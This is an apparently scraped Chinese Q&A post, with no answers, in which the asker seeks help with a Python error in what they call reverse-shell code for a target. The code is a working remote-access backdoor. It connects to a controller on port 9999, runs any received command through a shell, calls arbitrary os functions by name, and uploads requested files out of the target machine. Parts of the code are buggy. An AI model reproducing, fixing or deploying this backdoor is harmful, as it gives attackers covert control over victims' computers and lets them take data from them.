不支持解码str(客户端服务器)

时间:2018-11-08 08:07:59

标签: python-3.x client-server

我正在为客户端服务器模型进行编码(反向shell代码,这是目标的代码) 这是代码的一部分(这是另一个函数调用的函数) 它给出了“不支持解码str”。 这是代码 FileSender函数从其他函数输入套接字名称和文件名作为输入(效果很好)。

#!/bin/bash
from socket import *
from subprocess import *
import os

def FileSender(s,Fname):
    try:
        os.path.exists(Fname)
        TotalSize=str(os.path.getsize(Fname))
        s.send(str("Filesize -",TotalSize).encode('utf-8'))
        r=s.recv(1024)
        resonse=r.decode("utf-8")
        if resonse =="Y":
            f=open(Fname,"rb")
            DatatToBeSent=f.read(1024)
            SentData=DatatToBeSent
            s.send(DatatToBeSent)
            while SentData<TotalSize:
                DatatToBeSent=f.read(1024)
                s.send(DatatToBeSent)
                SentData=DatatToBeSent+SentData


    except Exception as EE:
        s.send(str(EE).encode("utf-8"))



def CallOs(s,task):
    module=__import__("os")
    SP=task.split()
    attribute=SP[0]
    try:
        function=getattr(module,attribute)
        if len(SP)==2:
            value=SP[1]
            try:
                R1=function(value)
                s.send((str(R1)).encode("utf-8"))

            except Exception as E1:
                s.send((str(E1)).encode("utf-8"))

        else:
            try:
                R1=function()
                s.send((str(R1)).encode('utf-8'))
            except Exception as E2:
                s.send((str(E2)).encode("utf-8"))

    except Exception as E3:
        s.send((str(E3)).encode("utf-8"))



def connection():
    s=socket(AF_INET,SOCK_STREAM)
    S_IP=gethostbyname(gethostname())
    #S_IP=''
    S_P=9999
    s.connect((S_IP,S_P))
    while True:
        RM=s.recv(1024)
        command=RM.decode("utf-8")
        if command=="DONE":
            s.close()
            break
        elif command[0]=='*':
            task=command[1:]
            CallOs(s,task)
        elif command[:4]=="grab":
            Fname=command[5:]
            FileSender(s,Fname)

        else:
            process=Popen(command,shell=True,stdin=PIPE,stdout=PIPE,stderr=PIPE)
            s.send(process.stdout.read())
            s.send(process.stderr.read())




connection()

0 个答案:

没有答案